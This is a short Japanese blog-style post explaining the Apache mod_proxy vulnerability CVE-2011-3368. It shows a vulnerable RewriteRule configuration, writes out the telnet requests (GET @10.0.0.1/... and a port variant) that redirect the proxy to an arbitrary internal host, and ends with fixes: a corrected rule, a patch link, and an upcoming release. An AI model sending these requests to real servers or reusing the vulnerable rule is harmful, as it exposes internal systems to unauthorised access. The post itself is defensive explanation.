apache mod_proxyに脆弱性 CVE-2011-3368

RewirteRule [P] / ProxyPassMatch の記述(変数のキャプチャ($1)の書き方)次第では、攻撃者にproxy先を任意のhostに変更されるという脆弱性

攻撃を受ける設定例

(こんな書き方しないと思うけど。。。)

RewriteEngine On
RewriteRule  (.*)  http://app.example.com$1 [P]

この状態で

$ telnet www.example.com 80
GET @10.0.0.1/index.html HTTP/1.0

とrequestを投げると、URIhttp://app.example.com@10.0.0.1/index.html になる。URIschemeでは@の前はuser:pass / @の後ろがhostになるため、proxy先が10.0.0.1 になって設定者が予想外のサーバにアクセスされてしまう。

port変更する場合は":@" で。

$ telnet www.example.com 80
GET :@10.0.0.1:8080/index.html HTTP/1.0

URIhttp://app.example.com:@10.0.0.1:8080/index.html になる。

対応

  • 1. 設定を変える

proxy先のURLをスラッシュまで書く

RewriteEngine On
RewriteRule  /(.*)  http://app.example.com/$1 [P]
  • 2. patchあてる

http://www.apache.org/dist/httpd/patches/apply_to_2.2.21/CVE-2011-3368.patch

  • 3. 次のapache 2.2.22 を待つ?